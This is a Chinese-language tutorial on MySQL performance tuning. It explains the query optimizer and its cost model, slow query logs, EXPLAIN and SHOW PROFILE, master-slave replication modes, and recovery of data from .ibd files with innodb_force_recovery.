SQL——性能优化篇（下）
查询优化器
我们总是希望数据库可以运行得更快，也就是响应时间更快，吞吐量更大。想要达到这样的目的，
我们一方面需要高并发的事务处理能力，
另一方面需要创建合适的索引，让数据的查找效率最大化。
事务和索引的使用是数据库中的两个重要核心，事务可以让数据库在增删查改的过程中，保证数据的正确性和安全性，而索引可以帮数据库提升数据的查找效率。
如果我们想要知道如何获取更高的 SQL 查询性能，最好的方式就是理解数据库是如何进行查询优化和执行的。
什么是查询优化器
了解查询优化器的作用之前，我们先来看看一条 SQL 语句的执行都需要经历哪些环节，如下图所示：
你能看到一条 SQL 查询语句首先会经过分析器，进行语法分析和语义检查。
我们之前讲过语法分析是检查 SQL 拼写和语法是否正确，语义检查是检查 SQL 中的访问对象是否存在。比如我们在写 SELECT 语句的时候，列名写错了，系统就会提示错误。
语法检查和语义检查可以保证 SQL 语句没有错误，最终得到一棵语法分析树，然后经过查询优化器得到查询计划，最后交给执行器进行执行。
查询优化器的目标是找到执行 SQL 查询的最佳执行计划，执行计划就是查询树，它由一系列物理操作符组成，这些操作符按照一定的运算关系组成查询的执行计划。
在查询优化器中，可以分为逻辑查询优化阶段和物理查询优化阶段。
逻辑查询优化就是通过改变 SQL 语句的内容来使得 SQL 查询更高效，同时为物理查询优化提供更多的}候选执行计划。
通常采用的方式是对 SQL 语句进行等价变换，对查询进行重写，而查询重写的数学基础就是关系代数。
对条件表达式进行等价谓词重写、条件简化，对视图进行重写，对子查询进行优化，对连接语义进行了外连接消除、嵌套连接消除等。
逻辑查询优化是基于关系代数进行的查询重写，而关系代数的每一步都对应着物理计算，这些物理计算往往存在多种算法，因此需要计算各种物理路径的代价，从中选择代价最小的作为执行计划。
在这个阶段里，对于单表和多表连接的操作，需要高效地使用索引，提升查询效率。
在这两个阶段中，
查询重写属于代数级、语法级的优化，也就是属于逻辑范围内的优化，
而基于代价的估算模型是从连接路径中选择代价最小的路径，属于物理层面的优化。
查询优化器的两种优化方式
查询优化器的目的就是生成最佳的执行计划，而生成最佳执行计划的策略通常有以下两种方式。
第一种是基于规则的优化器（RBO，Rule-Based Optimizer），规则就是人们以往的经验，或者是采用已经被证明是有效的方式。通过在优化器里面嵌入规则，来判断 SQL 查询符合哪种规则，就按照相应的规则来制定执行计划，同时采用启发式规则去掉明显不好的存取路径。
第二种是基于代价的优化器（CBO，Cost-Based Optimizer），这里会根据代价评估模型，计算每条可能的执行计划的代价，也就是 COST，从中选择代价最小的作为执行计划。相比于 RBO 来说，CBO 对数据更敏感，因为它会利用数据表中的统计信息来做判断，针对不同的数据表，查询得到的执行计划可能是不同的，因此制定出来的执行计划也更符合数据表的实际情况。
但我们需要记住，SQL 是面向集合的语言，并没有指定执行的方式，因此在优化器中会存在各种组合的可能。我们需要通过优化器来制定数据表的扫描方式、连接方式以及连接顺序，从而得到最佳的 SQL 执行计划。
你能看出来，RBO 的方式更像是一个出租车老司机，凭借自己的经验来选择从 A 到 B 的路径。而 CBO 更像是手机导航，通过数据驱动，来选择最佳的执行路径。
CBO 是如何统计代价的
大部分 RDBMS 都支持基于代价的优化器（CBO），CBO 随着版本的迭代也越来越成熟，但是 CBO 依然存在缺陷。通过对 CBO 工作原理的了解，我们可以知道 CBO 可能存在的不足有哪些，有助于让我们知道优化器是如何确定执行计划的。
能调整的代价模型的参数有哪些
首先，我们先来了解下 MySQL 中的COST Model，COST Model就是优化器用来统计各种步骤的代价模型，在 5.7.10 版本之后，MySQL 会引入两张数据表，里面规定了各种步骤预估的代价（Cost Value） ，我们可以从mysql.server_cost和mysql.engine_cost这两张表中获得这些步骤的代价：
SQL > SELECT * FROM mysql.server_cost
server_cost 数据表是在 server 层统计的代价，具体的参数含义如下：
disk_temptable_create_cost，表示临时表文件（MyISAM 或 InnoDB）的创建代价，默认值为 20。disk_temptable_row_cost，表示临时表文件（MyISAM 或 InnoDB）的行代价，默认值 0.5。key_compare_cost，表示键比较的代价。键比较的次数越多，这项的代价就越大，这是一个重要的指标，默认值 0.05。memory_temptable_create_cost，表示内存中临时表的创建代价，默认值 1。memory_temptable_row_cost，表示内存中临时表的行代价，默认值 0.1。row_evaluate_cost，统计符合条件的行代价，如果符合条件的行数越多，那么这一项的代价就越大，因此这是个重要的指标，默认值 0.1。
由这张表中可以看到，如果想要创建临时表，尤其是在磁盘中创建相应的文件，代价还是很高的。
然后我们看下在存储引擎层都包括了哪些代价：
SQL > SELECT * FROM mysql.engine_cost
engine_cost主要统计了页加载的代价，我们之前了解到，一个页的加载根据页所在位置的不同，读取的位置也不同，可以从磁盘 I/O 中获取，也可以从内存中读取。因此在engine_cost数据表中对这两个读取的代价进行了定义：
io_block_read_cost，从磁盘中读取一页数据的代价，默认是 1。memory_block_read_cost，从内存中读取一页数据的代价，默认是 0.25。
既然 MySQL 将这些代价参数以数据表的形式呈现给了我们，我们就可以根据实际情况去修改这些参数。因为随着硬件的提升，各种硬件的性能对比也可能发生变化，比如针对普通硬盘的情况，可以考虑适当增加io_block_read_cost的数值，这样就代表从磁盘上读取一页数据的成本变高了。当我们执行全表扫描的时候，相比于范围查询，成本也会增加很多。
比如我想将io_block_read_cost参数设置为 2.0，那么使用下面这条命令就可以：
UPDATE mysql.engine_cost
SET cost_value = 2.0
WHERE cost_name = 'io_block_read_cost';
FLUSH OPTIMIZER_COSTS;
我们对mysql.engine_cost中的io_block_read_cost参数进行了修改，然后使用FLUSH OPTIMIZER_COSTS更新内存，然后再查看engine_cost数据表，发现io_block_read_cost参数中的cost_value已经调整为 2.0。
如果我们想要专门针对某个存储引擎，比如 InnoDB 存储引擎设置io_block_read_cost，比如设置为 2，可以这样使用：
INSERT INTO mysql.engine_cost(engine_name, device_type, cost_name, cost_value, last_update, comment)
VALUES ('InnoDB', 0, 'io_block_read_cost', 2,
CURRENT_TIMESTAMP, 'Using a slower disk for InnoDB');
FLUSH OPTIMIZER_COSTS;
然后我们再查看一下mysql.engine_cost数据表：
从图中你能看到针对 InnoDB 存储引擎可以设置专门的io_block_read_cost参数值。
代价模型如何计算
总代价的计算是一个比较复杂的过程，上面只是列出了一些常用的重要参数，我们可以根据情况对它们进行调整，也可以使用默认的系统参数值。
那么总的代价是如何进行计算的呢？
在论文《Access Path Selection-in a Relational Database Management System》中给出了计算模型，如下图所示：
你可以简单地认为，总的执行代价等于 I/O 代价 +CPU 代价。
在这里 PAGE FETCH 就是 I/O 代价，也就是页面加载的代价，包括数据页和索引页加载的代价。
W*(RSI CALLS) 就是 CPU 代价。W 在这里是个权重因子，表示了 CPU 到 I/O 之间转化的相关系数，RSI CALLS 代表了 CPU 的代价估算，包括了键比较（compare key）以及行估算（row evaluating）的代价。
为了让你更好地理解，我说下关于 W 和 RSI CALLS 的英文解释：W is an adjustable weight between I/O and CPU utilization. The number of RSI calls is used to approximate CPU utilization。
这样你应该能明白为了让 CPU 代价和 I/O 代价放到一起来统计，我们使用了转化的系数 W，
另外需要说明的是，在 MySQL5.7 版本之后，代价模型又进行了完善，不仅考虑到了 I/O 和 CPU 开销，还对内存计算和远程操作的代价进行了统计，也就是说总代价的计算公式演变成下面这样：
总代价 = I/O 代价 + CPU 代价 + 内存代价 + 远程代价
这里对内存代价和远程代价不进行讲解，我们只需要关注 I/O 代价和 CPU 代价即可。
总结
查询优化器在 RDBMS 中是个非常重要的角色。在优化器中会经历逻辑查询优化和物理查询优化阶段。
最后我们只是简单梳理了下 CBO 的总代价是如何计算的，以及包括了哪些部分。CBO 的代价计算是个复杂的过程，细节很多，不同优化器的实现方式也不同。另外随着优化器的逐渐成熟，考虑的因素也会越来越多。在某些情况下 MySQL 还会把 RBO 和 CBO 组合起来一起使用。RBO 是个简单固化的模型，在 Oracle 8i 之前采用的就是 RBO，在优化器中一共包括了 15 种规则，输入的 SQL 会根据符合规则的情况得出相应的执行计划，在 Oracle 10g 版本之后就用 CBO 替代了 RBO。
CBO 中需要传入的参数除了 SQL 查询以外，还包括了优化器参数、数据表统计信息和系统配置等，这实际上也导致 CBO 出现了一些缺陷，比如统计信息不准确，参数配置过高或过低，都会导致路径选择的偏差。除此以外，查询优化器还需要在优化时间和执行计划质量之间进行平衡，比如一个执行计划的执行时间是 10 秒钟，就没有必要花 1 分钟优化执行计划，除非该 SQL 使用频繁高，后续可以重复使用该执行计划。同样 CBO 也会做一些搜索空间的剪枝，以便在有效的时间内找到一个“最优”的执行计划。这里，其实也是在告诉我们，为了得到一个事物，付出的成本过大，即使最终得到了，有时候也是得不偿失的。
使用性能分析工具定位SQL执行慢
数据库服务器的优化步骤
当我们遇到数据库调优问题的时候，该如何思考呢？我把思考的流程整理成了下面这张图。
整个流程划分成了观察（Show status）和行动（Action）两个部分。字母 S 的部分代表观察（会使用相应的分析工具），字母 A 代表的部分是行动（对应分析可以采取的行动）。
我们可以通过观察了解数据库整体的运行状态，通过性能分析工具可以让我们了解执行慢的 SQL 都有哪些，查看具体的 SQL 执行计划，甚至是 SQL 执行中的每一步的成本代价，这样才能定位问题所在，找到了问题，再采取相应的行动。
我来详细解释一下这张图。
首先在 S1 部分，我们需要观察服务器的状态是否存在周期性的波动。如果存在周期性波动，有可能是周期性节点的原因，比如双十一、促销活动等。这样的话，我们可以通过 A1 这一步骤解决，也就是加缓存，或者更改缓存失效策略。
如果缓存策略没有解决，或者不是周期性波动的原因，我们就需要进一步分析查询延迟和卡顿的原因。
接下来进入 S2 这一步，我们需要开启慢查询。慢查询可以帮我们定位执行慢的 SQL 语句。我们可以通过设置 long_query_time 参数定义“慢”的阈值，如果 SQL 执行时间超过了 long_query_time，则会认为是慢查询。当收集上来这些慢查询之后，我们就可以通过分析工具对慢查询日志进行分析。
在 S3 这一步骤中，我们就知道了执行慢的 SQL，这样就可以针对性地用 EXPLAIN 查看对应 SQL 语句的执行计划，或者使用 show profile 查看 SQL 中每一个步骤的时间成本。这样我们就可以了解 SQL 查询慢是因为执行时间长，还是等待时间长。
如果是 SQL 等待时间长，我们进入 A2 步骤。
在这一步骤中，我们可以调优服务器的参数，比如适当增加数据库缓冲池等。如果是 SQL 执行时间长，就进入 A3 步骤，这一步中我们需要考虑是索引设计的问题？还是查询关联的数据表过多？还是因为数据表的字段设计问题导致了这一现象。然后在这些维度上进行对应的调整。
如果 A2 和 A3 都不能解决问题，我们需要考虑数据库自身的 SQL 查询性能是否已经达到了瓶颈，如果确认没有达到性能瓶颈，就需要重新检查，重复以上的步骤。如果已经达到了性能瓶颈，进入 A4 阶段，需要考虑增加服务器，采用读写分离的架构，或者考虑对数据库进行分库分表，比如垂直分库、垂直分表和水平分表等。
以上就是数据库调优的流程思路。如果我们发现执行 SQL 时存在不规则延迟或卡顿的时候，就可以采用分析工具帮我们定位有问题的 SQL，这三种分析工具你可以理解是 SQL 调优的三个步骤：慢查询、EXPLAIN 和 SHOW PROFILING。
使用慢查询定位执行慢的 SQL
好慢询可以帮我们找到执行慢的 SQL，在使用前，我们需要先看下慢查询是否已经开启，使用下面这条命令即可：
mysql > show variables like '%slow_query_log';
我们能看到 slow_query_log=OFF，也就是说慢查询日志此时是关上的。我们可以把慢查询日志打开，注意设置变量值的时候需要使用 global，否则会报错：
mysql > set global slow_query_log='ON';
然后我们再来查看下慢查询日志是否开启，以及慢查询日志文件的位置：
你能看到这时慢查询分析已经开启，同时文件保存在 DESKTOP-4BK02RP-slow 文件中。
接下来我们来看下慢查询的时间阈值设置，使用如下命令：
mysql > show variables like '%long_query_time%';
这里如果我们想把时间缩短，比如设置为 3 秒，可以这样设置：
mysql > set global long_query_time = 3;
我们可以使用 MySQL 自带的 mysqldumpslow 工具统计慢查询日志（这个工具是个 Perl 脚本，你需要先安装好 Perl）。
mysqldumpslow 命令的具体参数如下：
-
-s：采用 order 排序的方式，排序方式可以有以下几种。
分别是 c（访问次数）、t（查询时间）、l（锁定时间）、r（返回记录）、ac（平均查询次数）、al（平均锁定时间）、ar（平均返回记录数）和 at（平均查询时间）。其中 at 为默认排序方式。
-
-t：返回前 N 条数据 。
-
-g：后面可以是正则表达式，对大小写不敏感。
比如我们想要按照查询时间排序，查看前两条 SQL 语句，这样写即可：
perl mysqldumpslow.pl -s t -t 2 "C:\ProgramData\MySQL\MySQL Server 8.0\Data\DESKTOP-4BK02RP-slow.log"
你能看到开启了慢查询日志，并设置了相应的慢查询时间阈值之后，只要大于这个阈值的 SQL 语句都会保存在慢查询日志中，然后我们就可以通过 mysqldumpslow 工具提取想要查找的 SQL 语句了。
如何使用 EXPLAIN 查看执行计划
定位了查询慢的 SQL 之后，我们就可以使用 EXPLAIN 工具做针对性的分析，
比如我们想要了解 product_comment 和 user 表进行联查的时候所采用的的执行计划，可以使用下面这条语句：
EXPLAIN SELECT comment_id, product_id, comment_text, product_comment.user_id, user_name FROM product_comment JOIN user on product_comment.user_id = user.user_id
EXPLAIN 可以帮助我们了解数据表的读取顺序、SELECT 子句的类型、数据表的访问类型、可使用的索引、实际使用的索引、使用的索引长度、上一个表的连接匹配条件、被优化器查询的行的数量以及额外的信息（比如是否使用了外部排序，是否使用了临时表等）等。
SQL 执行的顺序是根据 id 从大到小执行的，也就是 id 越大越先执行，当 id 相同时，从上到下执行。
数据表的访问类型所对应的 type 列是我们比较关注的信息。type 可能有以下几种情况：
在这些情况里，all 是最坏的情况，因为采用了全表扫描的方式。index 和 all 差不多，只不过 index 对索引表进行全扫描，这样做的好处是不再需要对数据进行排序，但是开销依然很大。如果我们在 extra 列中看到 Using index，说明采用了索引覆盖，也就是索引可以覆盖所需的 SELECT 字段，就不需要进行回表，这样就减少了数据查找的开销。
比如我们对 product_comment 数据表进行查询，设计了联合索引 composite_index (user_id, comment_text)，然后对数据表中的 comment_id、comment_text、user_id 这三个字段进行查询，最后用 EXPLAIN 看下执行计划：
EXPLAIN SELECT comment_id, comment_text, user_id FROM product_comment
你能看到这里的访问方式采用了 index 的方式，key 列采用了联合索引，进行扫描。Extral 列为 Using index，告诉我们索引可以覆盖 SELECT 中的字段，也就不需要回表查询了。
range 表示采用了索引范围扫描，这里不进行举例，从这一级别开始，索引的作用会越来越明显，因此我们需要尽量让 SQL 查询可以使用到 range 这一级别及以上的 type 访问方式。
index_merge 说明查询同时使用了两个或以上的索引，最后取了交集或者并集。比如想要对 comment_id=500000 或者 user_id=500000 的数据进行查询，数据表中 comment_id 为主键，user_id 是普通索引，我们可以查看下执行计划：
EXPLAIN SELECT comment_id, product_id, comment_text, user_id FROM product_comment WHERE comment_id = 500000 OR user_id = 500000
你能看到这里同时使用到了两个索引，分别是主键和 user_id，采用的数据表访问类型是 index_merge，通过 union 的方式对两个索引检索的数据进行合并。
ref 类型表示采用了非唯一索引，或者是唯一索引的非唯一性前缀。比如我们想要对 user_id=500000 的评论进行查询，使用 EXPLAIN 查看执行计划：
EXPLAIN SELECT comment_id, comment_text, user_id FROM product_comment WHERE user_id = 500000
这里 user_id 为普通索引（因为 user_id 在商品评论表中可能是重复的），因此采用的访问类型是 ref，同时在 ref 列中显示 const，表示连接匹配条件是常量，用于索引列的查找。
eq_ref 类型是使用主键或唯一索引时产生的访问方式，通常使用在多表联查中。假设我们对 product_comment 表和 usre 表进行联查，关联条件是两张表的 user_id 相等，使用 EXPLAIN 进行执行计划查看：
EXPLAIN SELECT * FROM product_comment JOIN user WHERE product_comment.user_id = user.user_id
const 类型表示我们使用了主键或者唯一索引（所有的部分）与常量值进行比较，比如我们想要查看 comment_id=500000，查看执行计划：
EXPLAIN SELECT comment_id, comment_text, user_id FROM product_comment WHERE comment_id = 500000
需要说明的是 const 类型和 eq_ref 都使用了主键或唯一索引，不过这两个类型有所区别，const 是与常量进行比较，查询效率会更快，而 eq_ref 通常用于多表联查中。
system 类型一般用于 MyISAM 或 Memory 表，属于 const 类型的特例，当表只有一行时连接类型为 system（我在 GitHub 上上传了 test_myisam 数据表，该数据表只有一行记录，下载地址：https://github.com/cystanford/SQL_MyISAM）。我们查看下执行计划：
EXPLAIN SELECT * FROM test_myisam
你能看到除了 all 类型外，其他类型都可以使用到索引，但是不同的连接方式的效率也会有所不同，效率从低到高依次为 all < index < range < index_merge < ref < eq_ref < const/system。我们在查看执行计划的时候，通常希望执行计划至少可以使用到 range 级别以上的连接方式，如果只使用到了 all 或者 index 连接方式，我们可以从 SQL 语句和索引设计的角度上进行改进。
使用 SHOW PROFILE 查看 SQL 的具体执行成本
SHOW PROFILE 相比 EXPLAIN 能看到更进一步的执行解析，包括 SQL 都做了什么、所花费的时间等。默认情况下，profiling 是关闭的，我们可以在会话级别开启这个功能。
mysql > show variables like 'profiling';
通过设置 profiling='ON’来开启 show profile：
mysql > set profiling = 'ON';
我们可以看下当前会话都有哪些 profiles，使用下面这条命令：
mysql > show profiles;
你能看到当前会话一共有 2 个查询，如果我们想要查看上一个查询的开销，可以使用：
mysql > show profile;
我们也可以查看指定的 Query ID 的开销，比如 show profile for query 2 查询结果是一样的。在 SHOW PROFILE 中我们可以查看不同部分的开销，比如 cpu、block.io 等：
通过上面的结果，我们可以弄清楚每一步骤的耗时，以及在不同部分，比如 CPU、block.io 的执行时间，这样我们就可以判断出来 SQL 到底慢在哪里。
不过 SHOW PROFILE 命令将被弃用，我们可以从 information_schema 中的 profiling 数据表进行查看。
总结
梳理了 SQL 优化的思路，从步骤上看，我们需要先进行观察和分析，分析工具的使用在日常工作中还是很重要的。今天只介绍了常用的三种分析工具，实际上可以使用的分析工具还有很多。
总结一下今天文章里提到的三种分析工具。
我们可以通过慢查询日志定位执行慢的 SQL，然后通过 EXPLAIN 分析该 SQL 语句是否使用到了索引，以及具体的数据表访问方式是怎样的。
我们也可以使用 SHOW PROFILE 进一步了解 SQL 每一步的执行时间，包括 I/O 和 CPU 等资源的使用情况。
数据库主从同步的作用
我们之前讲解了 Redis，它是一种高性能的内存数据库；
而 MySQL 是基于磁盘文件的关系型数据库，相比于 Redis 来说，读取速度会慢一些，但是功能强大，可以用于存储持久化的数据。
在实际工作中，我们常常将 Redis 作为缓存与 MySQL 配合来使用，当有数据访问请求的时候，首先会从缓存中进行查找，如果存在就直接取出，如果不存在再访问数据库，这样就提升了读取的效率，也减少了对后端数据库的访问压力。可以说使用 Redis 这种缓存架构是高并发架构中非常重要的一环。
当然我们也可以对 MySQL 做主从架构并且进行读写分离，让主服务器（Master）处理写请求，从服务器（Slave）处理读请求，这样同样可以提升数据库的并发处理能力。
为什么需要主从同步
首先不是所有的应用都需要对数据库进行主从架构的设置，毕竟设置架构本身是有成本的，如果我们的目的在于提升数据库高并发访问的效率，那么首先需要考虑的应该是如何优化你的 SQL 和索引，这种方式简单有效，其次才是采用缓存的策略，比如使用 Redis，通过 Redis 高性能的优势将热点数据保存在内存数据库中，提升读取的效率，最后才是对数据库采用主从架构，进行读写分离。
按照上面的方式进行优化，使用和维护的成本是由低到高的。
主从同步设计不仅可以提高数据库的吞吐量，还有以下 3 个方面的作用。
- 可以读写分离。我们可以通过主从复制的方式来同步数据，然后通过读写分离提高数据库并发处理能力。
简单来说就是同一份数据被放到了多个数据库中，其中一个数据库是 Master 主库，其余的多个数据库是 Slave 从库。当主库进行更新的时候，会自动将数据复制到从库中，而我们在客户端读取数据的时候，会从从库中进行读取，也就是采用读写分离的方式。互联网的应用往往是一些“读多写少”的需求，采用读写分离的方式，可以实现更高的并发访问。原本所有的读写压力都由一台服务器承担，现在有多个“兄弟”帮忙处理读请求，这样就减少了对后端大哥（Master）的压力。同时，我们还能对从服务器进行负载均衡，让不同的读请求按照策略均匀地分发到不同的从服务器上，让读取更加顺畅。读取顺畅的另一个原因，就是减少了锁表的影响，比如我们让主库负责写，当主库出现写锁的时候，不会影响到从库进行 SELECT 的读取。
- 数据备份。我们通过主从复制将主库上的数据复制到了从库上，相当于是一种热备份机制，也就是在主库正常运行的情况下进行的备份，不会影响到服务。
- 具有高可用性。我刚才讲到的数据备份实际上是一种冗余的机制，通过这种冗余的方式可以换取数据库的高可用性，也就是当服务器出现故障或宕机的情况下，可以切换到从服务器上，保证服务的正常运行。
关于高可用性的程度，我们可以用一个指标衡量，即正常可用时间 / 全年时间。比如要达到全年 99.999% 的时间都可用，就意味着系统在一年中的不可用时间不得超过 5.256 分钟，也就 3652460*（1-99.999%）=5.256 分钟，其他时间都需要保持可用的状态。需要注意的是，这 5.256 分钟包括了系统崩溃的时间，也包括了日常维护操作导致的停机时间。
实际上，更高的高可用性，意味着需要付出更高的成本代价。在现实中我们需要结合业务需求和成本来进行选择。
提到主从同步的原理，我们就需要了解在数据库中的一个重要日志文件，那就是 Binlog 二进制日志，它记录了对数据库进行更新的事件。实际上主从同步的原理就是基于 Binlog 进行数据同步的。在主从复制过程中，会基于 3 个线程来操作，一个主库线程，两个从库线程。
主从同步的原理是怎样的
提到主从同步的原理，我们就需要了解在数据库中的一个重要日志文件，那就是 Binlog 二进制日志，它记录了对数据库进行更新的事件。实际上主从同步的原理就是基于 Binlog 进行数据同步的。在主从复制过程中，会基于 3 个线程来操作，一个主库线程，两个从库线程。
二进制日志转储线程（Binlog dump thread）是一个主库线程。当从库线程连接的时候，主库可以将二进制日志发送给从库，当主库读取事件的时候，会在 Binlog 上加锁，读取完成之后，再将锁释放掉。
从库 I/O 线程会连接到主库，向主库发送请求更新 Binlog。这时从库的 I/O 线程就可以读取到主库的二进制日志转储线程发送的 Binlog 更新部分，并且拷贝到本地形成中继日志（Relay log）。
从库 SQL 线程会读取从库中的中继日志，并且执行日志中的事件，从而将从库中的数据与主库保持同步。
所以你能看到主从同步的内容就是二进制日志（Binlog），它虽然叫二进制日志，实际上存储的是一个又一个事件（Event），这些事件分别对应着数据库的更新操作，比如 INSERT、UPDATE、DELETE 等。另外我们还需要注意的是，不是所有版本的 MySQL 都默认开启服务器的二进制日志，在进行主从同步的时候，我们需要先检查服务器是否已经开启了二进制日志。
进行主从同步的内容是二进制日志，它是一个文件，在进行网络传输的过程中就一定会存在延迟（比如 500ms），这样就可能造成用户在从库上读取的数据不是最新的数据，也就是主从同步中的数据不一致性问题。比如我们对一条记录进行更新，这个操作是在主库上完成的，而在很短的时间内（比如 100ms）又对同一个记录进行了读取，这时候从库还没有完成数据的更新，那么我们通过从库读到的数据就是一条旧的记录。
如何解决主从同步的数据一致性问题
可以想象下，如果我们想要操作的数据都存储在同一个数据库中，那么对数据进行更新的时候，可以对记录加写锁，这样在读取的时候就不会发生数据不一致的情况，但这时从库的作用就是备份，并没有起到读写分离，分担主库读压力的作用。
因此我们还需要继续想办法，在进行读写分离的同时，解决主从同步中数据不一致的问题，也就是解决主从之间数据复制方式的问题，如果按照数据一致性从弱到强来进行划分，有以下 3 种复制方式。
方法 1：异步复制
异步模式就是客户端提交 COMMIT 之后不需要等从库返回任何结果，而是直接将结果返回给客户端，这样做的好处是不会影响主库写的效率，但可能会存在主库宕机，而 Binlog 还没有同步到从库的情况，也就是此时的主库和从库数据不一致。这时候从从库中选择一个作为新主，那么新主则可能缺少原来主服务器中已提交的事务。所以，这种复制模式下的数据一致性是最弱的。
方法 2：半同步复制
MySQL5.5 版本之后开始支持半同步复制的方式。原理是在客户端提交 COMMIT 之后不直接将结果返回给客户端，而是等待至少有一个从库接收到了 Binlog，并且写入到中继日志中，再返回给客户端。这样做的好处就是提高了数据的一致性，当然相比于异步复制来说，至少多增加了一个网络连接的延迟，降低了主库写的效率。
方法 3：组复制
组复制技术，简称 MGR（MySQL Group Replication）。是 MySQL 在 5.7.17 版本中推出的一种新的数据复制技术，这种复制技术是基于 Paxos 协议的状态机复制。
刚才介绍的异步复制和半同步复制都无法最终保证数据的一致性问题，半同步复制是通过判断从库响应的个数来决定是否返回给客户端，虽然数据一致性相比于异步复制有提升，但仍然无法满足对数据一致性要求高的场景，比如金融领域。MGR 很好地弥补了这两种复制模式的不足。
下面我们来看下 MGR 是如何工作的（如下图所示）。
首先我们将多个节点共同组成一个复制组，在执行读写（RW）事务的时候，需要通过一致性协议层（Consensus 层）的同意，也就是读写事务想要进行提交，必须要经过组里“大多数人”（对应 Node 节点）的同意，大多数指的是同意的节点数量需要大于（N/2+1），这样才可以进行提交，而不是原发起方一个说了算。而针对只读（RO）事务则不需要经过组内同意，直接 COMMIT 即可。
在一个复制组内有多个节点组成，它们各自维护了自己的数据副本，并且在一致性协议层实现了原子消息和全局有序消息，从而保证组内数据的一致性。（具体原理点击这里可以参考。）
MGR 将 MySQL 带入了数据强一致性的时代，是一个划时代的创新，其中一个重要的原因就是 MGR 是基于 Paxos 协议的。Paxos 算法是由 2013 年的图灵奖获得者 Leslie Lamport 于 1990 年提出的，有关这个算法的决策机制你可以去网上搜一下。或者点击这里查看具体的算法，另外作者在 2001 年发布了一篇简化版的文章，你如果感兴趣的话，也可以看下。
事实上，Paxos 算法提出来之后就作为分布式一致性算法被广泛应用，比如 Apache 的 ZooKeeper 也是基于 Paxos 实现的。
总结
讲解了数据库的主从同步，如果你的目标仅仅是数据库的高并发，那么可以先从 SQL 优化，索引以及 Redis 缓存数据库这些方面来考虑优化，然后再考虑是否采用主从架构的方式。
在主从架构的配置中，如果想要采取读写分离的策略，我们可以自己编写程序，也可以通过第三方的中间件来实现。
自己编写程序的好处就在于比较自主，我们可以自己判断哪些查询在从库上来执行，针对实时性要求高的需求，我们还可以考虑哪些查询可以在主库上执行。同时，程序直接连接数据库，减少了中间件层，相当于减少了性能损耗。
采用中间件的方法有很明显的优势，功能强大，使用简单。但因为在客户端和数据库之间增加了中间件层会有一些性能损耗，同时商业中间件也是有使用成本的。我们也可以考虑采取一些优秀的开源工具，比如 MaxScale。它是 MariaDB 开发的 MySQL 数据中间件。比如在下图中，使用 MaxScale 作为数据库的代理，通过路由转发完成了读写分离。同时我们也可以使用 MHA 工具作为强一致的主从切换工具，从而完成 MySQL 的高可用架构。
数据库没有备份，没有使用Binlog的情况下，如何恢复数据
q前面讲解了 MySQL 的复制技术，通过主从同步可以实现读写分离，热备份，让服务器更加高可用。MySQL 的复制主要是通过 Binlog 来完成的，Binlog 记录了数据库更新的事件，从库 I/O 线程会向主库发送 Binlog 更新的请求，同时主库二进制转储线程会发送 Binlog 给从库作为中继日志进行保存，然后从库会通过中继日志重放，完成数据库的同步更新。
这种同步操作是近乎实时的同步，然而也有人为误操作情况的发生，比如 DBA 人员为了方便直接在生产环境中对数据进行操作，或者忘记了当前是在开发环境，还是在生产环境中，就直接对数据库进行操作，这样很有可能会造成数据的丢失，情况严重时，误操作还有可能同步给从库实时更新。不过我们依然有一些策略可以防止这种误操作，比如利用延迟备份的机制。延迟备份最大的作用就是避免这种“手抖”的情况，让我们在延迟从库进行误操作前停止下来，进行数据库的恢复。
当然如果我们对数据库做过时间点备份，也可以直接恢复到该时间点。不过我们今天要讨论的是一个特殊的情况，也就是在没做数据库备份，没有开启使用 Binlog 的情况下，尽可能地找回数据。
InnoDB 存储引擎的表空间
InnoDB 存储引擎的文件格式是.ibd 文件，数据会按照表空间（tablespace）进行存储，分为共享表空间和独立表空间。
如果想要查看表空间的存储方式，我们可以对innodb_file_per_table变量进行查询，使用show variables like 'innodb_file_per_table';。
ON 表示独立表空间，而 OFF 则表示共享表空间。
如果采用共享表空间的模式，InnoDB 存储的表数据都会放到共享表空间中，也就是多个数据表共用一个表空间，同时表空间也会自动分成多个文件存放到磁盘上。
这样做的好处在于单个数据表的大小可以突破文件系统大小的限制，最大可以达到 64TB，也就是 InnoDB 存储引擎表空间的上限。不足也很明显，多个数据表存放到一起，结构不清晰，不利于数据的找回，同时将所有数据和索引都存放到一个文件中，也会使得共享表空间的文件很大。
采用独立表空间的方式可以让每个数据表都有自己的物理文件，也就是 table_name.ibd 的文件，在这个文件中保存了数据表中的数据、索引、表的内部数据字典等信息。它的优势在于每张表都相互独立，不会影响到其他数据表，存储结构清晰，利于数据恢复，同时数据表还可以在不同的数据库之间进行迁移。
如果.ibd 文件损坏了，数据如何找回
如果我们之前没有做过全量备份，也没有开启 Binlog，那么我们还可以通过.ibd 文件进行数据恢复，采用独立表空间的方式可以很方便地对数据库进行迁移和分析。如果我们误删除（DELETE）某个数据表或者某些数据行，也可以采用第三方工具回数据。
我们这里可以使用 Percona Data Recovery Tool for InnoDB 工具，能使用工具进行修复是因为我们在使用 DELETE 的时候是逻辑删除。我们之前学习过 InnoDB 的页结构，在保存数据行的时候还有个删除标记位，对应的是页结构中的 delete_mask 属性，该属性为 1 的时候标记了记录已经被逻辑删除，实际上并不是真的删除。不过当有新的记录插入的时候，被删除的行记录可能会被覆盖掉。所以当我们发生了 DELETE 误删除的时候，一定要第一时间停止对误删除的表进行更新和写入，及时将.ibd 文件拷贝出来并进行修复。
如果已经开启了 Binlog，就可以使用闪回工具，比如 mysqlbinlog 或者 binlog2sql，从工具名称中也能看出来它们都是基于 Binlog 来做的闪回。原理就是因为 Binlog 文件本身保存了数据库更新的事件（Event），通过这些事件可以帮我们重现数据库的所有更新变化，也就是 Binlog 回滚。
下面我们就来看下没有做过备份，也没有开启 Binlog 的情况下，如果.ibd 文件发生了损坏，如何通过数据库自身的机制来进行数据恢复。
实际上，InnoDB 是有自动恢复机制的，如果发生了意外，InnoDB 可以在读取数据表时自动修复错误。但有时候.ibd 文件损坏了，会导致数据库无法正常读取数据表，这时我们就需要人工介入，调整一个参数，这个参数叫做innodb_force_recovery。
我们可以通过命令show variables like 'innodb_force_recovery';来查看当前参数的状态，你能看到默认为 0，表示不进行强制恢复。如果遇到错误，比如 ibd 文件中的数据页发生损坏，则无法读取数据，会发生 MySQL 宕机的情况，此时会将错误日志记录下来。
innodb_force_recovery参数一共有 7 种状态，除了默认的 0 以外，还可以为 1-6 的取值，分别代表不同的强制恢复措施。
当我们需要强制恢复的时候，可以将innodb_force_recovery设置为 1，表示即使发现了损坏页也可以继续让服务运行，这样我们就可以读取数据表，并且对当前损坏的数据表进行分析和备份。
